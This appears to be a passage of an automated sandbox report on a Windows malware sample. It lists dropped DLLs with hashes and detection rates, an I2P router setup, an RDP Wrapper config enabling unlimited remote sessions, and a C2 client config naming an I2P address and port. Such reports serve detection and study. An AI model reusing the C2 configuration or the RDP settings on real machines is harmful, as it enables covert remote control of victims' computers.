Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\user\AppData\Local\Temp\wfpblk.log)..[I] (debug_init) -> Done..[I] (fs_file_write) -> Done(path=C:\Users\user\AppData\Local\Temp\wfpblk.ini,mode=wb,buf_sz=195)..[I] (fs_file_read) -> Done(path=C:\Users\user\AppData\Local\Temp\wfpblk.ini,buf_sz=195)..[I] (ini_load) -> Done(path=C:\Users\user\AppData\Local\Temp\wfpblk.ini)..[D] (ini_get_sec) -> Done(name=app)..[D] (ini_get_sec) -> Done(name=app)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=[System Process],err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=System,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=Registry,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=smss.exe,err=00000003)..[D] (ini_get_sec) -> Done(name=app)..[W] (ini_get_var) -> Failed(sec=app,name=csrss.exe,err=00000003)..[D] (ini_get_sec) ->

C:\Windows\Temp\EgwqOk24

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	129536
Entropy (8bit):	6.2852879161990645
Encrypted:	false
SSDEEP:	1536:UmeFYyUJdEqzx2LVJ4ngXsNXGRqnbxeGqS/h0E0P3j4NBtRLBhBr:UZUJdhxCJ4ngg46weh0dr4vnV
MD5:	88E6178B0CD434C8D14710355E78E691
SHA1:	F541979CAD7EE7C6D8F2B87A0F240592A5DC1B82
SHA-256:	7B40349481AD6C522A23FB3D12D6058EC0A7C5B387348FB4AE85135EE19C91A4
SHA-512:	C4330A9EE1E69785420AABCFD1991AAAEB0F1764EB7E857F0C86161F61E1FFD467B458A2D458D3C55BB76D00F26FAC481D026443AB0796D0AEF38BF06CD84B8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."....<..........Y.........,...................................../....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text....:.......<..................`..`.data........P.......@..............@....rdata.......`.......B..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Windows\Temp\GEGgzh0s

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Windows\Temp\GmdNT1AN

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.285421743969757
Encrypted:	false
SSDEEP:	1536:BQrD6CCk73WUJ/2WEvooF8VohjBdmaKqYdpFXaRQSCYA8CSs8qgu06wCYA8CSs8V:BA6sDl/2WEvo0DipFXaRQO
MD5:	6E01ED70D02CE47F4D27762A9E949DEE
SHA1:	32B9199EBBD7891CF0091B96BF3B2C9303AB7B7A
SHA-256:	EFB9B3D4356071EE8FE66979140E7435371EC668088A68786C6FDCEDF29D7376
SHA-512:	B21C8F79553EE513F6C48EFA618C20FB82CBC77EDE95579C28C21D8BB433B93D108CEF442B48ECBDABD0B06AA5C8AEDC8B26316167D1793A0E972B38D4210854
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................@............`... .........................................^.......................T............0..h...............................(.......................`............................text...............................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss.... ................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Windows\Temp\I77yQ5in

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.193969228624904
Encrypted:	false
SSDEEP:	1536:55YoK6WOBqFp//wVUE/+TGAf5EkgE1duJmwTxOd/lZ1pgX7:55YoSb/Iv/+TNf5Ee1YLTxOd9Z16X7
MD5:	EC9499EE84ED09B77BE0A35EC87B781C
SHA1:	4148D40284BAB415DDB828BD4061A4FE93C9AF26
SHA-256:	5E38EA7E3DD96FE1C6BB2EBA38C7BDE638C6B6E7898F906E343D9500AFF86499
SHA-512:	D65933B825419719021D0D2F43B45616A5B1238550BFDC72D2F4F148E284E9FE488417021A45B6D2F61770E31150B3331B1071AFE7EBB85AF6B379D040A9BEBC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...............Y........."h.............................P......JA....`... .........................................^....................................@..l...............................(.......................h............................text...x...........................`..`.data........0....... ..............@....rdata.. d...@...f.................@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\Mtj0dqVw

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	75977
Entropy (8bit):	7.8696816318811385
Encrypted:	false
SSDEEP:	1536:07klNoOPsg0evjAYqVwbLhhOW6xwz0U0paUgfVnsHk:EkPNPmevj5qabL9ydgNz
MD5:	E53A179BB45CD7EDD8371740D65076BD
SHA1:	6B74034746E12C2058614A9DF671C31B79EAA7E9
SHA-256:	C33D095DBFFC43047A7930EB0811B11208D166FCFD612D8ED32556A6CE82B9DB
SHA-512:	767105F8B88CD8C9E4E2BD9188C8174D5FD86D370D2E6A79B0E10EF4A79E994F24F8DB7A79C481B97F69DBEA8E311590E3B2D31E804EC5F572A3C37CF3EBC457
Malicious:	false
Preview:	I2Psu3................&.................1733281205......reseed@cnc.netPK........./.Y.o2........;...routerInfo-eXkkiGm0Hskmt-0nixI7Fd2~NX5o5Laplk3k9Fh6Jr0=.dat..\|f........59/}.w...............X.O..Q#.....M;`vv...oZ..;...U....gm..w._.y.......g.\....T..9<....v{...].K..Z..`....W..kX..7iu..bi..)..<.E.{.g..Q..v...RU....f.:~U-r.v.0.?I.c..S.W"U...P..9..!..=+....oY..gY....m;t...n..mu.y...$q...,.?.._..v.n.z..m......Q....x....\..f.M.E31.[.xu._....K...:.1.i.i"..{c:>.YU.x...Gl.F.+......<..t..r....M....t....iy=....c0wWG.....-.lW.{.....w..\.g.2.0..1.......L..P....j.X..XPl..db.i..f`f....Y.o....T.P....._..d..f....h._..ik..ZQ``.ehnlldajd`..2.....C..`B.&.f.....:.n........)>.i...Q.I.a.f...N..ai.Ynn..f.I&. -..:.y.y^....N...N....~e!.^a...y.ai.n..i..`-F.:.UNf.e.&I..N...y...y.....>%n&en.......fU`..$..\|dinjb`.$ B@.......X.Y.B..l9,,....L,...mu....s3....."...r<+.=...C.."...R.."LS..3.+...0..2.Y...../.9.......&`..-M.,.K\+...M2....}.#.........+s..".K.M`.20.@.3 .5/

C:\Windows\Temp\OwuZZod2

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.25860377459178
Encrypted:	false
SSDEEP:	1536:+8zEo3EM0MBfGCqx22eMO4HROUeS2qjVO+n98TLmifu:LzEms12D4xOU31n98TLmh
MD5:	BD1D98C35FE2CB3E14A655AEDE9D4B01
SHA1:	49361C09F5A75A4E2D6E85FBDA337FC521770793
SHA-256:	961C65CFDF0187A945AD6099EFD9AF68D46D36EC309A2243F095EF739EE9AC7E
SHA-512:	74BFD70A08E2CB86AF10B83D0CFD723A24613C9E6E2018CDC63BD425D45845C1214BF68115E04F95572684F27A0CF52D271E2419F8056E0A0467B88507D132D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y........................................P.......p....`... .........................................^....................................@..p...............................(...................X................................text...8...........................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\XpOp833v

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9146880
Entropy (8bit):	6.674868432808522
Encrypted:	false
SSDEEP:	196608:DiRu5DnWLX6Cs3E1CPwDvt3uF8c339CME:DiRsCKCsU1CPwDvt3uFd9CME
MD5:	676064A5CC4729E609539F9C9BD9D427
SHA1:	F77BA3D5B6610B345BFD4388956C853B99C9EB60
SHA-256:	77D203E985A0BC72B7A92618487389B3A731176FDFC947B1D2EAD92C8C0E766B
SHA-512:	4C876E9C1474E321C94EA81058B503D695F2B5C9DCA9182C515F1AE6DE065099832FD0337D011476C553958808C7D6F748566734DEEE6AF1E74B45A690181D02
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f..........."...).t]......R..0........................................P............`... .......................................z..t... ...,............p..?...........p...............................`m.(....................*...............................text...(r]......t].................`..`.data.........]......x].............@....rdata..`>...@^..@....^.............@..@.pdata...?....p..@...^p.............@..@.xdata...t....t..v....t.............@..@.bss....`Q...@z..........................edata...t....z..v....z.............@..@.idata...,... ......................@....CRT....`....P......................@....tls.........`......................@....reloc.......p......................@..B........................................................................................................................................................................

C:\Windows\Temp\YW6w5rMD

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	4.958673415285098
Encrypted:	false
SSDEEP:	96:e+I8WTr7LjdL33ZqPDNLWBsaBMG+xv9G86UJ5TMmyvmyLKkfUZleZnE/Ndm/7CIg:e+I8Mr7VtXl1zrrIqEVdm/7CItWR0SX
MD5:	27535CEE6740DFC50A78A0322415E67C
SHA1:	E80541CF15C8ED4C5EEDA8D8C24674A5B8A27F61
SHA-256:	FB0CDBF4E0215AE1866E97860C2AC3DD96E7498BFE2AF3D82378041CDFF7F292
SHA-512:	25F11A8262B5A2F59BD6C9D8673B5AD5A140EAE8C007244810B2924EB08B5CF54AE19E61BE5139319877278D11868BBD85BD2E6C67F5FAD4E2A458E2844EBC0C
Malicious:	false
Preview:	## Configuration file for a typical i2pd user.## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/.## for more options you can use in this file...## Lines that begin with "## " try to explain what's going on. Lines.## that begin with just "#" are disabled commands: you can enable them.## by removing the "#" symbol...## Tunnels config file.## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf.# tunconf = /var/lib/i2pd/tunnels.conf..## Tunnels config files path.## Use that path to store separated tunnels in different config files..## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d.# tunnelsdir = /var/lib/i2pd/tunnels.d..## Path to certificates used for verifying .su3, families.## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates.# certsdir = /var/lib/i2pd/certificates..## Where to write pidfile (default: /run/i2pd.pid, not used in Windows).# pidfile = /run/i2pd.pid..## Logging configuration section.## By default logs go to stdout with level 'inf

C:\Windows\Temp\YXkdIYk6

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.2041507656664825
Encrypted:	false
SSDEEP:	1536:SgYI/+tvE0A2HTsPtbNqnXi2h+t3w8S31+g5KvSxY:SgYIl2HIPtbNkrhPl+4K6e
MD5:	CB4F460CF2921FCD35AC53F4154FCBE0
SHA1:	AFD91433EF0C03315739FB754B16D6C49D2E51F2
SHA-256:	D6B5B5303D7079CF31EA9704E7711A127CFE936EA108CDFFF938C7811C6EDA31
SHA-512:	BEE872D6B1226409C472636255AE220BA8E0950C0D65DD0D8B9F3E90D43B65FFE2133B33648452C34A3F1BCA958F10BAF3FADBA5BF4228057928F4EEAC7AB600
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....`......Y.....................................................`... ..............................................................`..................d............................I..(......................h............................text...X...........................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Windows\Temp\YkhL6reh

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.229119632298774
Encrypted:	false
SSDEEP:	1536:nZifIZPVsBXHCrwIxk8i/57CDDCZUohgfNGbDN:nZifcsVCrwI0CyZUocs
MD5:	7FEA520E80E7A73252F2A5C204BBF820
SHA1:	557D33F75805669A6D5E98D0E6CD3B790ECF3464
SHA-256:	64B09FAC89FC9645DFE624D832BB2FF2FC8BA6BA9BC1A96C6EEE8C7F9C021266
SHA-512:	6A8FE49BC671B2B1458C24E10509047B50150D3D565FC7FB45046A51C295E69189F35D53BA2F8727A44718F11E8A84EFDE019E5422E025767CF35FDA26F293F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....f......Y.........Io..........................................`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Windows\Temp\ectg9CqJ

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.129024990254676
Encrypted:	false
SSDEEP:	6:1EVQLD4oWuJO+70XZ6DIzOD7kXpTRL9gWVUDeLn:Cjo5JO+70XZmeC7kX9vgpKL
MD5:	7D88563AD41BAF4026CFC5D098CBF40D
SHA1:	442756834CCCEB84F219F3C762852437FBB3458E
SHA-256:	D80EDD4C9FCF10348AAAB4D5F9D796AD827271827463D71FE32F2F896D0841D3
SHA-512:	F58A28FCAC43359D217C5B238C00BE73FBA791BEC7B987AA647F6FF02A7514D4C4B7449968DF9237D3B4D5BBF05DBEA82C8B41C956B2F0566FAE8C54056010DF
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=9ad81489..server_port=41674..server_timeo=15000..i2p_try_num=5..i2p_sam3_timeo=15000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Windows\Temp\mf7RAl9N

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	456534
Entropy (8bit):	5.450314708570292
Encrypted:	false
SSDEEP:	1536:ElNN33L+MUIiG4IvREWddadl/Fy/kY5Psv:EX33L+MBdadl/Fy/kr
MD5:	AC8B2EA4A310D6748A8845C235A3CDC8
SHA1:	0B489969C7D95411E4104B9BB952C0024EDE1616
SHA-256:	77BA4F6F25BA1050847C22B7AAF1E662650A99A15222466091FB056F436048E3
SHA-512:	0E807AF4D4E0D2F71FB8BE93DFCBCE62F3077E7C94B993529A0012088304A1B34BEDF8915EA23A83611FAB66495B1F8359225DBF95ED3F37C16607257217F191
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-11-24..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Windows\Temp\o6oDuAJl

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.236071662185895
Encrypted:	false
SSDEEP:	1536:v6YjTy83xoAWVbgh4xf4j0+Fwpj7bx8eSlsfe1tgvEK335:v6Yjqj1gh4xf4w+G7Cge1tgb335
MD5:	CE579A1BDCB9763DAFEBF01AD29F918C
SHA1:	F3E317C09E27DD0DA11AEE1578B7034BA1AC15DD
SHA-256:	0B628EA2BA9CD77621D90A0A7456659ED86C118EB7655F6074B3B5648BAC0A02
SHA-512:	EB688ED1A4AC5C3B975C2B005BE4BFD04D7CC762AF18DED190D0F903D39BDB301EADB800866BA72F6B8C36B7ABFB5765E0EB5081158C67BC33F056BD41280BC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y.........?..............................0......Uu....`... .........................................^.......................$............ ..l........................... v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Windows\Temp\sdjnUb5S

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:9:9
MD5:	006F29D8E822B9241020AEC2495EF819
SHA1:	6510BEB08A14B6BCC74D32031C1B19AA07169CF1
SHA-256:	69FF245F90727BBEFA5B1F82E2429FF74F31A6A5385B5129A2FE3378DCF200F1
SHA-512:	16916BC4477F6FC1AE1132D2F5D2B9587650DC44E23DE15E0FE787AFE23175E0E236C020C753BA5158F688BEACDA523AAFB7EC1DF82B6F7619573C90A48742E8
Malicious:	false
Preview:	wgNj

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421587708065162
Encrypted:	false
SSDEEP:	6144:gSvfpi6ceLP/9skLmb0OTkWSPHaJG8nAgeMZMMhA2fX4WABlEnNl0uhiTw:LvloTkW+EZMM6DFy703w
MD5:	0CDD0EA720BA42B582F3FEE4EAA69CF0
SHA1:	ADD3142A279ED91C6963F125CC36AE5DC1CF1841
SHA-256:	E11E78F2AEE8741B86927A85F166F60577B947082B7C2667C76330A30F6ACFED
SHA-512:	CF82C8CAFE0C53AA7F73BE66E9306C13B72F9F44DCDD99513207583A1E341872651099E2A032431FD0F9A3F11D08A3B2461974685B11D4F27C64EF7E0BDCE307
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmb.P._..............................................................................................................................................................................................................................................................................................................................................U~G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.058145218584745
TrID:	Win64 Executable GUI (202006/5) 92.64% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% VXD Driver (31/22) 0.01%
File name:	cZO.exe
File size:	4'528'128 bytes
MD5:	be6e88537235ff3b6b61de70dfeecb3b
SHA1:	4a622aa9cbbb7f66484734b85a211f20e0cb0edd
SHA256:	bc1a44614123c841e31835919a21ed7322ea6537f6652f36d24fd7f83a440294
SHA512:	5e17c7a71828a17e662e34e87aee6ed1b4c5472f7d301d552b408ead7818f81fa6075626753f23ef1360cb0a61e8955ab31c120d81225a13906ced46253f5838
SSDEEP:	49152:eu4bU2JKwANXmSqoZ5N/cHgxSSQgsIifDGnjazY72RRCRX:hZwOYg0CRX
TLSH:	09263B3B726981ABC25DC53FC463CF30E933757E1B33C6E7529102688A569C59E3EA24
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7.......................................................................................................................................

File Icon


Icon Hash:	6ab06e9aaaba8e50

Static PE Info

General

Entrypoint:	0x756c70
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:
Time Stamp:	0x6776E9FD [Thu Jan 2 19:33:17 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	c8a018b209e2afcd868eeb52f0439e7f

Entrypoint Preview

Instruction
push ebp
dec eax
sub esp, 20h
dec eax
mov ebp, esp
nop
dec eax
lea ecx, dword ptr [FFFF0768h]
call 00007F41CC3AEDB0h
dec eax
mov eax, dword ptr [0004BC54h]
dec eax
mov ecx, dword ptr [eax]
call 00007F41CC63FB41h
dec eax
mov eax, dword ptr [0004BC45h]
dec eax
mov ecx, dword ptr [eax]
mov dl, 01h
call 00007F41CC6427F0h
dec eax
mov eax, dword ptr [0004BC34h]
dec eax
mov ecx, dword ptr [eax]
dec eax
mov edx, dword ptr [FFFF00BAh]
dec esp
mov eax, dword ptr [0004C0B3h]
call 00007F41CC63FB43h
dec eax
mov eax, dword ptr [0004BC17h]
dec eax
mov ecx, dword ptr [eax]
call 00007F41CC63FD54h
call 00007F41CC3A6D2Fh
jmp 00007F41CC6EF85Ah
nop
nop
call 00007F41CC3A6F26h
nop
dec eax
lea esp, dword ptr [ebp+20h]
pop ebp
ret
dec eax
nop
dec eax
lea eax, dword ptr [00000000h+eax]
dec eax
sub esp, 28h
call 00007F41CC3A64BCh
dec eax
add esp, 28h
ret
int3
int3
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3b4000	0x9b	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ae000	0x4736	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x412000	0x4f200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x3e3000	0x2ee48	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3b7000	0x2b854	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3b6000	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3af260	0x10d0	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3b3000	0xdfc	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x355d00	0x355e00	feaead5986e94891814e1ff29aa912d8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x357000	0x4bfe0	0x4c000	58062ea28fd240adb3c58f126d326b08	False	0.23840010793585525	data	4.710133660344198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x3a3000	0xa99c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x3ae000	0x4736	0x4800	1854ba5d3306b139579f7a8ff3cbd757	False	0.24424913194444445	data	4.374645528668736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x3b3000	0xdfc	0xe00	3d6eff5550ae14066e23e41a1b4adadf	False	0.26841517857142855	data	3.3090454102610942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x3b4000	0x9b	0x200	f7c5bb68ad7d2f4a701d7e114bf654f1	False	0.259765625	data	1.917080347799001	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x3b5000	0x1e4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x3b6000	0x6d	0x200	c6496e53b0addf155e9246f44da4560b	False	0.1953125	data	1.3902637598484393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3b7000	0x2b854	0x2ba00	3afb68c05ec358d7c6285f9a8b0a5197	False	0.46446879477077363	data	6.444856231549929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.pdata	0x3e3000	0x2ee48	0x2f000	e24cc87fa0a02cee74658847ac8ccdad	False	0.49283161569148937	data	6.319372177464017	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
